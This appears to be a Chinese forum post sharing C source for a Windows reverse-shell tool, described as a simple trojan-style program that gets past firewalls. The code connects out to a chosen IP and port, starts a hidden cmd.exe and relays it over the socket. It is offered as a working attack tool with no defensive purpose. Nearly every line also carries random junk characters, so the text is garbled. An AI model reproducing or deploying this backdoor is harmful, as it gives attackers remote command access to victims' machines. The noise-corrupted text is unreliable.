这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~[t#$2d}
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/* ============================== =dDPQZEin
Rebound port in Windows NT `s T;\
By wind,2006/7 ,P`NtTN-
===============================*/
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#include jL^@;"/XhC
#include czD"mI!
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#pragma comment(lib,"wsock32.lib") >x;\H(g
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void OutputShell(); 4 O8ct,Y
SOCKET sClient; $$NWN?H~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~>u|7M$(
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void main(int argc,char **argv) ApeqbD5g&
{ IoLi7NKw
WSADATA stWsaData; s __xBY
int nRet; "d$~}=a[
SOCKADDR_IN stSaiClient,stSaiServer; ;un@E:
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if(argc != 3) e!jy6t
{ =b:XL#VA
printf("Useage:\n\rRebound DestIP DestPort\n"); EwN{| 34C
return; ^_Hf}8H7]
} f1ANziC;i
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WSAStartup(MAKEWORD(2,2),&stWsaData); <z,)4z++
}`<&l
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; vnvpb!
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stSaiClient.sin_port = htons(0); z eT`kZ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .A<Hk1(-)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %}9tU>?F#
{ T{C;bf:Q
printf("Bind Socket Failed!\n"); 3 Vc}Q'&Y
return; rV%T+!n%c
} r3g^0|)
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stSaiServer.sin_family = AF_INET; FHr)xqo=~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Fk/I
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JpfA+r
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M<w.q|P
{ hYkkr&
printf("Connect Error!"); =Z:]%
return; Mc@9ivwL#
} (46'#E z[F
OutputShell(); $3HqVqF^R
} iX+8!>Q
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void OutputShell() 0AQ4:KV(Y
{ "?3=FBp&
char szBuff[1024]; f $Agcy
SECURITY_ATTRIBUTES stSecurityAttributes; "i;.>
OSVERSIONINFO stOsversionInfo; xO )c23Z)]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c]|vg=W
STARTUPINFO stStartupInfo; n;Oe- +oSC
char *szShell; 5Z!$?J4Rl
PROCESS_INFORMATION stProcessInformation; 2 L4[~>
unsigned long lBytesRead; ]H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A{zqr^/h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NlEyT9
stSecurityAttributes.lpSecurityDescriptor = 0; jy!]MAP#Gk
stSecurityAttributes.bInheritHandle = TRUE; eA!Z7 '
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |:R\j0t
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `Ow]@flLI
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6LDZ|K@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JU>~[yAP
stStartupInfo.wShowWindow = SW_HIDE; Pw<?Dw]m
stStartupInfo.hStdInput = hReadPipe; _VT{2`|})
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m0bxVV^DK!
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GetVersionEx(&stOsversionInfo); plWNuEW
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switch(stOsversionInfo.dwPlatformId) *B|hRZka1A
{ qB$-H' j:;
case 1: 4@0aN6Os
szShell = "command.com"; #7 O7O~
break; e` 4mrBtz|
default: cn} CI
szShell = "cmd.exe"; |M7C=z='
break; cj2Smgw&>
} gtuSJ+up
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zq</(5H
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send(sClient,szMsg,77,0); QPf\lN/$4d
while(1) 8`*5[ L~~/
{ @o0HDS
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XE2Un1i}j1
if(lBytesRead) 0cHcBxdF
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ExO#V9DaW
send(sClient,szBuff,lBytesRead,0); QfEJU8/5d
} ,9ueHE
else "QOQ
{ PL=v,NB
lBytesRead=recv(sClient,szBuff,1024,0); vb~%u;zrC@
if(lBytesRead<=0) break; \ZcI{t'a
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >k"O3Pc@
} SdlO]y9E
} O<s7VHj
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return; |^ 8ND#x
}